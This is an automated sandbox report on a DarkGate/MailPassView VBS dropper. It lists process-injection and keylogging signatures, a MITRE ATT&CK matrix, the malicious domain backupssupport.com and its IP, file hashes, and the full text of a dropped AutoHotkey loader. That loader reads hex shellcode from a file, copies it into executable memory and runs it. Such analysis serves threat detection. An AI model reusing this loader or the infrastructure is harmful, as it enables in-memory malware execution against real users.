Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_004A93DE __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

1_2_004A93DE

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0049E2D5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		1_2_0049E2D5
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_004A1856 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_004A1856

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: AutoHotkey.exe.0.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 205.234.201.153 80

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0486DC09 CreateProcessA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,

1_2_0486DC09

Contains functionality to inject threads in other processes

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0486DC09 CreateProcessA,CreateProcessA,OpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,CloseHandle,

1_2_0486DC09

Source: C:\NwiQ\AutoHotkey.exe

1_2_0043B100

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_00418020 keybd_event,GetTickCount,GetForegroundWindow,GetWindowTextW,

1_2_00418020

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_004172F0 GetAsyncKeyState,GetSystemMetrics,GetSystemMetrics,GetCursorPos,WindowFromPoint,GetWindowThreadProcessId,SendMessageW,mouse_event,mouse_event,

1_2_004172F0

Source: C:\Windows\System32\wscript.exe

Process created: C:\NwiQ\AutoHotkey.exe "C:\NwiQ\Autohotkey.exe" "c:\NwiQ\script.ahk"

Jump to behavior

Source: AutoHotkey.exe, 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe, 00000001.00000000.1655102872.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe.0.dr	Binary or memory string: 5A`7ATextLEFTLRIGHTRMIDDLEMX1X2WUWDWLWR{Blind}{ClickLl{}^+!#{}RawTempASC U+ ,LWin RWin LShift RShift LCtrl RCtrl LAlt RAlt SYSTEM\CurrentControlSet\Control\Keyboard Layouts\Layout FileKbdLayerDescriptorsc%03Xvk%02XSCALTDOWNALTUPSHIFTDOWNSHIFTUPCTRLDOWNCONTROLDOWNCTRLUPCONTROLUPLWINDOWNLWINUPRWINDOWNRWINUPRtlGetVersionntdll.dll%u.%u.%uStdOutAllUnreachableClassOverwriteUseEnvLocalSameAsGlobalUseUnsetGlobalUseUnsetLocalYYYYYWeekYearYDayWorkingDirWinDirWinDelayWDayUserNameTitleMatchModeSpeedTitleMatchModeTimeSinceThisHotkeyTimeSincePriorHotkeyTimeIdlePhysicalTimeIdleMouseTimeIdleKeyboardTimeIdleTickCountThisMenuItemPosThisMenuItemThisMenuThisLabelThisHotkeyThisFuncStoreCapslockModeStartupCommonStartupStartMenuCommonStartMenuSecScriptNameScriptHwndScriptFullPathScriptDirScreenWidthScreenHeightScreenDPIRegViewPtrSizeProgramsCommonProgramsPriorKeyPriorHotkeyOSVersionOSTypeNumBatchLinesNowUTCNowMyDocumentsMSecMouseDelayPlayMouseDelayMonMMMMMMMMMMinMDayLoopRegTypeLoopRegTimeModifiedLoopRegSubKeyLoopRegNameLoopRegKeyLoopReadLineLoopFileTimeModifiedLoopFileTimeCreatedLoopFileTimeAccessedLoopFileSizeMBLoopFileSizeKBLoopFileSizeLoopFileShortPathLoopFileShortNameLoopFilePathLoopFileNameLoopFileLongPathLoopFileFullPathLoopFileExtLoopFileDirLoopFileAttribLoopFieldLineNumberLineFileLastErrorLanguageKeyDurationPlayKeyDurationKeyDelayPlayKeyDelayIsUnicodeIsSuspendedIsPausedIsCriticalIsCompiledIsAdminIs64bitOSIPAddress4IPAddress3IPAddress2IPAddress1InitialWorkingDirIndexIconTipIconNumberIconHiddenIconFileHourGuiYGuiXGuiWidthGuiHeightGuiEventGuiControlEventFormatIntegerFormatFloatExitReasonEventInfoEndCharDesktopCommonDesktopDefaultTreeViewDefaultMouseSpeedDefaultListViewDefaultGuiDDDDDDDDDCursorCoordModeToolTipCoordModePixelCoordModeMouseCoordModeMenuCoordModeCaretControlDelayComputerNameCaretYCaretXBatchLinesAppDataCommonAppDataAhkVersionAhkPathTrueProgramFilesFalseComSpecClipboardAllClipboard...%s[%Iu of %Iu]: %-1.60s%sPropertyRegExMatch\:\:REG_SZREG_EXPAND_SZREG_MULTI_SZREG_DWORDREG_BINARYDefault3264MasterSpeakersHeadphonesDigitalLineMicrophoneSynthCDTelephonePCSpeakerWaveAuxAnalogVolVolumeOnOffMuteMonoLoudnessStereoEnhBassBoostPanQSoundPanBassTrebleEqualizerRegExFASTSLOWMonitorCountMonitorPrimaryMonitorMonitorWorkAreaMonitorNameAscChrDerefHTMLModPowExpSqrtLogLnRoundCeilFloorAbsSinCosTanASinACosATanBitAndBitOrBitXOrBitNotBitShiftLeftBitShiftRightShowAddRenameCheckUncheckToggleCheckEnableDisableToggleEnableStandardNoStandardColorNoDefaultDeleteAllTipIconNoIconMainWindowNoMainWindowSubmitCancelHideMinimizeMaximizeRestoreDestroyMarginFontListViewTreeViewFlashNewMoveMoveDrawFocusChooseChooseStringPosFocusVEnabledVisibleHwndNameButtonCheckboxRadioDDLDropDownListComboBoxListBoxUpDownSliderTab2Tab3GroupBoxPicPictureDateTimeMonthCalStatusBarActiveXLinkCustomPriorityInterruptNoTimersCloseWaitCloseStyleExStyleShowDropDownHideDropDownTabLeftTabRightEditPasteCheckedFindStringChoiceListLineCountCurrentLineCurrentColSelectedEjectLockUnlockLabelFileSystemFSSetLabel:SerialTypeS
Source: AutoHotkey.exe	Binary or memory string: Program Manager
Source: AutoHotkey.exe	Binary or memory string: Shell_TrayWnd
Source: AutoHotkey.exe.0.dr	Binary or memory string: "%-1.300s"The maximum number of MsgBoxes has been reached.IsHungAppWindowDwmGetWindowAttributedwmapi.dllahk_idpidgroup%s%uProgram ManagerProgmanWorkerWError text not found (please report)Q\E{0,DEFINEUTF16)UCP)NO_START_OPT)CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument is compiled in 8 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory

Source: C:\NwiQ\AutoHotkey.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	1_2_04846735
Source: C:\NwiQ\AutoHotkey.exe	Code function: GetLocaleInfoA,GetACP,	1_2_0484D6F5
Source: C:\NwiQ\AutoHotkey.exe	Code function: GetLocaleInfoA,	1_2_0484C08D
Source: C:\NwiQ\AutoHotkey.exe	Code function: GetLocaleInfoA,	1_2_04847089
Source: C:\NwiQ\AutoHotkey.exe	Code function: GetLocaleInfoA,	1_2_0484C0D9
Source: C:\NwiQ\AutoHotkey.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	1_2_0484683F

Source: C:\NwiQ\AutoHotkey.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID			Jump to behavior
Source: C:\NwiQ\AutoHotkey.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductID			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\NwiQ\file.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0041EF50 GetFileAttributesW,SetCurrentDirectoryW,GetSystemTimeAsFileTime,

1_2_0041EF50

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0044F450 GetComputerNameW,GetUserNameW,

1_2_0044F450

Source: C:\NwiQ\AutoHotkey.exe

Code function: 1_2_0041A00E RtlGetVersion,__snwprintf,

1_2_0041A00E

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: superantispyware.exe

Stealing of Sensitive Information

Yara detected DarkGate

Source: Yara match	File source: 00000001.00000002.1665821526.00000000048AA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AutoHotkey.exe PID: 6544, type: MEMORYSTR

Yara detected MailPassView

Source: Yara match	File source: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AutoHotkey.exe PID: 6544, type: MEMORYSTR

Source: AutoHotkey.exe	Binary or memory string: WIN_XP
Source: AutoHotkey.exe.0.dr	Binary or memory string: ?A Goto/Gosub must not jump into a block that doesn't enclose it.ddddddd%02d%dmsSlowLogoffSingleWIN32_NTWIN_8.1WIN_8WIN_7WIN_VISTAWIN_XPWIN_2003WIN_2000%04hX0x%IxpPIntStrPtrShortInt64DoubleAStrWStrgdi32comctl32kernel32W-3-4CDecl-2This DllCall requires a prior VarSetCapacity.Pos%sLen%sPos%dLen%dLenMarkCountarraypcre_calloutCompile error %d at offset %d: %hs-+0 #diouxXeEfgGaAcCpULlTt%0.*fCallbackCcFfSelectVisCenterUniDescLogicalNoSortAutoHdrFirstBoldExpandGDI+JoyJoyXJoyYJoyZJoyRJoyUJoyVJoyPOVJoyNameJoyButtonsJoyAxesJoyInfoGetProcessImageFileNameWpsapi
Source: AutoHotkey.exe	Binary or memory string: WIN_VISTA
Source: AutoHotkey.exe	Binary or memory string: WIN_7
Source: AutoHotkey.exe	Binary or memory string: WIN_8
Source: AutoHotkey.exe	Binary or memory string: WIN_8.1

Remote Access Functionality

Yara detected DarkGate

Source: Yara match	File source: 00000001.00000002.1665821526.00000000048AA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AutoHotkey.exe PID: 6544, type: MEMORYSTR

Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0041E430 AddClipboardFormatListener,PostMessageW,SetClipboardViewer,RemoveClipboardFormatListener,ChangeClipboardChain,	1_2_0041E430
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0041D9D0 Shell_NotifyIconW,RemoveClipboardFormatListener,ChangeClipboardChain,DestroyWindow,DestroyWindow,DeleteObject,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,DeleteObject,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,mciSendStringW,mciSendStringW,mciSendStringW,DeleteCriticalSection,OleUninitialize,_free,_free,_free,	1_2_0041D9D0
Source: C:\NwiQ\AutoHotkey.exe	Code function: 1_2_0485CA8D bind,	1_2_0485CA8D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	2 Native API	221 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Create Account	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	312 Process Injection	1 DLL Side-Loading	NTDS	57 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	312 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ndvdikok.vbs	8%	ReversingLabs
ndvdikok.vbs	15%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\NwiQ\AutoHotkey.exe	4%	ReversingLabs
C:\NwiQ\AutoHotkey.exe	1%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
backupssupport.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://autohotkey.comCould	0%	URL Reputation	safe
http://backupssupport.com/fykbmgszj	1%	Virustotal		Browse
http://backupssupport.com/fykbmgsz	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
backupssupport.com	205.234.201.153	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://backupssupport.com/fykbmgsz	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://backupssupport.com/fykbmgszj	wscript.exe, 00000000.00000003.1656750950.000001D5A3C95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1659182934.000001D5A3C9F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1658042445.000001D5A3C9E000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://autohotkey.com	AutoHotkey.exe, AutoHotkey.exe, 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe, 00000001.00000000.1655102872.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe.0.dr	false		high
http://backupssupport.com/fykbmgsz6	wscript.exe, 00000000.00000003.1655755076.000001D5A3CE7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1660138257.000001D5A3D19000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1655827819.000001D5A3D13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://autohotkey.comCould	AutoHotkey.exe, 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe, 00000001.00000000.1655102872.00000000004AD000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey.exe.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
205.234.201.153	backupssupport.com	United States		23352	SERVERCENTRALUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427163
Start date and time:	2024-04-17 06:39:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ndvdikok.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@3/7@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 62 Number of non-executed functions: 252
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:39:56	API Interceptor	1x Sleep call for process: AutoHotkey.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SERVERCENTRALUS	https://ym6hc4gbb.cc.rs6.net/tn.jsp?f=001n209emIAeC5QJJGtmLyCc1JCQhC6WWTJBpDN65UPPB3G7Jc3gS6FE5wY-dlsmfGB2oibtx69nM243xkUAk5hSfd1krgPjddqmNEffcBMlXoUc-7UzTKQzIO6cFbowvNDiHeCqkvDBf2IjYJyuuzL-7jENnNra-V4&c=&ch=&__=///cpsess/guytrscdvfhgjbknkghjfbghklnm/hgjbdsaknjaxbgrak/ryan_howard@office.com	Get hash	malicious	HTMLPhisher	Browse	205.234.232.49
	Scan001-929999.exe	Get hash	malicious	FormBook	Browse	198.38.83.196
	Axis Bank - 67 Account Pending Bank Receipt.pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	198.38.83.196
	YzMjpENqal.elf	Get hash	malicious	Mirai, Moobot	Browse	75.102.41.230
	2OVvfRwf5G.dll	Get hash	malicious	PikaBot	Browse	198.38.94.213
	2OVvfRwf5G.dll	Get hash	malicious	PikaBot	Browse	198.38.94.213
	Total Energies RFQ.exe	Get hash	malicious	FormBook	Browse	198.38.83.196
	6772.png.dll	Get hash	malicious	Unknown	Browse	198.38.94.213
	6772.png.dll	Get hash	malicious	Unknown	Browse	198.38.94.213
	7668.png.dll	Get hash	malicious	Unknown	Browse	198.38.94.213

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\NwiQ\AutoHotkey.exe	4_10_AC-7539.xlsx	Get hash	malicious	DarkGate, MailPassView	Browse
	statapril2024-5892.xlsx	Get hash	malicious	DarkGate, MailPassView	Browse
	statapril2024-7320.xlsx	Get hash	malicious	DarkGate, MailPassView	Browse
	MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs	Get hash	malicious	DarkGate, MailPassView	Browse
	30ab11853092ccfc7359bb9cf99fe27b2179a1dc11037515b9367b6c28395850.zip	Get hash	malicious	DarkGate, MailPassView	Browse
	Report-26-2024.vbs	Get hash	malicious	DarkGate, MailPassView	Browse
	march19-D8176-2024.xlsx	Get hash	malicious	DarkGate, MailPassView	Browse
	march19-D5116-2024.xlsx	Get hash	malicious	MailPassView	Browse
	march19-D8295-2024.xlsx	Get hash	malicious	DarkGate, MailPassView	Browse
	march19-D2816-2024.xlsx	Get hash	malicious	MailPassView	Browse

Created / dropped Files

C:\NwiQ\AutoHotkey.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	913920
Entropy (8bit):	6.508000668604986
Encrypted:	false
SSDEEP:	24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
MD5:	A59A2D3E5DDA7ACA6EC879263AA42FD3
SHA1:	312D496EC90EB30D5319307D47BFEF602B6B8C6C
SHA-256:	897B0D0E64CF87AC7086241C86F757F3C94D6826F949A1F0FEC9C40892C0CECB
SHA-512:	852972CA4D7F9141EA56D3498388C61610492D36EA7D7AF1B36D192D7E04DD6D9BC5830E0DCB0A5F8F55350D4D8AAAC2869477686B03F998AFFBAC6321A22030
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: 4_10_AC-7539.xlsx, Detection: malicious, Browse Filename: statapril2024-5892.xlsx, Detection: malicious, Browse Filename: statapril2024-7320.xlsx, Detection: malicious, Browse Filename: MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs, Detection: malicious, Browse Filename: 30ab11853092ccfc7359bb9cf99fe27b2179a1dc11037515b9367b6c28395850.zip, Detection: malicious, Browse Filename: Report-26-2024.vbs, Detection: malicious, Browse Filename: march19-D8176-2024.xlsx, Detection: malicious, Browse Filename: march19-D5116-2024.xlsx, Detection: malicious, Browse Filename: march19-D8295-2024.xlsx, Detection: malicious, Browse Filename: march19-D2816-2024.xlsx, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........h.\...\...\.....]...G5..i...G5.....U..T...U..A...\.......G5..\|...G5..w...G5..]...G5..]...Rich\...........PE..L...J.d..........................................@...........................................@.............................t...,....................................................................................................................text...Q........................... ..`.rdata..ha.......b..................@..@.data........@...4...&..............@....rsrc................Z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\NwiQ\file.zip

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	795674
Entropy (8bit):	7.994720720467439
Encrypted:	true
SSDEEP:	24576:iDv3cPduvcaRMi59YF7neQfxdIhjRT2Wrp:ij9kBi7kLeQydT2Wrp
MD5:	60817831FC3EA259D45C9A537172F080
SHA1:	BC6BE7D44565B13E1008A3B962ABC9BC6EE44217
SHA-256:	75D89FD4AA29E97E8859BDF734602490DA0F90A4FD5213F737857D971C82E80C
SHA-512:	02FC5B1202897E0D1D99FF636AB43B9D4BB6335F1FC538BD63D361B4025584F8196504F4366668DC919C1C8CB52EEA3742FDF8746748DAE00BEF4AF0C606EBDD
Malicious:	false
Reputation:	low
Preview:	PK........G/.X[...Y...b.......test.txt..W..8.6.-.7.i....y...dUi.[.n..gZ.4p........~..7u.....u:.w...x.N...v.....\|z....z.....v.....]...x..n~.....;.....>].....8n.~.w...z.....i............I.jy{s;.R]....T..?.....N[........F.......?...\|=...s..w>o4.....:.N...7./.._....?=..6..w...t;..83.:.....^.'m\..;]=..Nm[..N.\|.v.sxj.....&z.....7...qz.N.......n.{<.4.?.@.~:..Fk.....wZ=..........j."..5...-m....0I.....`fw..._z....y......g..dV@R...9\|{r;\.{P=.m..=..cZ.e{z....U...(..s.........Q..v:.g...YS.....=X....p2sw.y..Y.khb\.cFs..........3.5..4=...fb.gp....`..?..b.o....k...m........vw.K.............W}......8..%u...=}.7.3..qo..r..A...>R[...6....._'3..3...C.n..p...kj..g.6F\|..;3...z...2CQ`.8.n.R..p..........SyP(*.C. .:...5\|AQ.C.....q.......h..^.:.B.0i.3.w..j<..R..V<)...`Vj~.......@...P..d....u.Bh.,0............,.`Lf.Ld.-..o/.....Iy..>m.w.Y....+..3.F..[(...\|..._(F3..................sj=.Z...6....)..Z.....`......./..xzW.pW=..Y<9\|+...}s.}.j.. .....`....(.D..z..i.[

C:\NwiQ\script.ahk

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	441
Entropy (8bit):	5.2568075754664525
Encrypted:	false
SSDEEP:	6:8kYWQxcpC1ogdG+GbBWcQdSIurioqqu3DHzJsaum8rkwHYF6DtGy1xk5QQNP0Pa8:LQxcpCeY0Ojo1uLdsa7e4YD/ktVsKVnw
MD5:	334F3FD6C9FE35FA7D5E7D2780D636EE
SHA1:	127F6BC9B9A42BF7036C3F39D66C87D32CDDEAA2
SHA-256:	1C4D704DCF8A341A8A6129743B1EB84681D53C4459CDB62FE2954E41ADFED961
SHA-512:	03389F83F96D6641E60003B6787A2F2726FC0AFFB6DE9B9F92512FC79C49CA1C8D5448E3111F696CA1AA1C2B7268017F819E56292E8A3ED7D2D5F9224EFB8E22
Malicious:	false
Reputation:	low
Preview:	..#NoTrayIcon....slgpdnza := 0x1000....asokscij := 0x2000....adloayls := 0x40....urooxwyd := A_ScriptDir . "\test.txt"....FileRead, cpduezil, %urooxwyd%....size := 476465....uatxhuds := DllCall("VirtualAlloc", "Ptr", 0, "UInt", size, "UInt", slgpdnza \| asokscij, "UInt", adloayls)....Loop, % size {....wcttobbp := "0x" . SubStr(cpduezil, 2 * A_Index - 1, 2)....NumPut(wcttobbp, uatxhuds + (A_Index - 1), "Char")....}....DllCall(uatxhuds)....

C:\NwiQ\test.txt

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	952930
Entropy (8bit):	3.5855231265302026
Encrypted:	false
SSDEEP:	12288:aaxFc9Kd5DbbWr8McQ/Rk4iailK/RjPwr0Xl/rbXjQ108Xk0RPopY+wM2e8dQm9D:T7EUIN9S
MD5:	09D0DF57B9E2D00852322828D9791BEC
SHA1:	9C31734E88AAA19934CFD490A088D1D255103DB7
SHA-256:	51163C6EB169DFE30EBDBDC3193C25ECB264B7BD6E2E250BE9824563F383464F
SHA-512:	11479B5C09A3BB0B0216908895B7F6C6F6F640FC493B7463402CE796C3CD54BFCA8443E8889F5A4F352D830074C08C6E75035618EE17DB4F144023B853709BA6
Malicious:	false
Reputation:	low
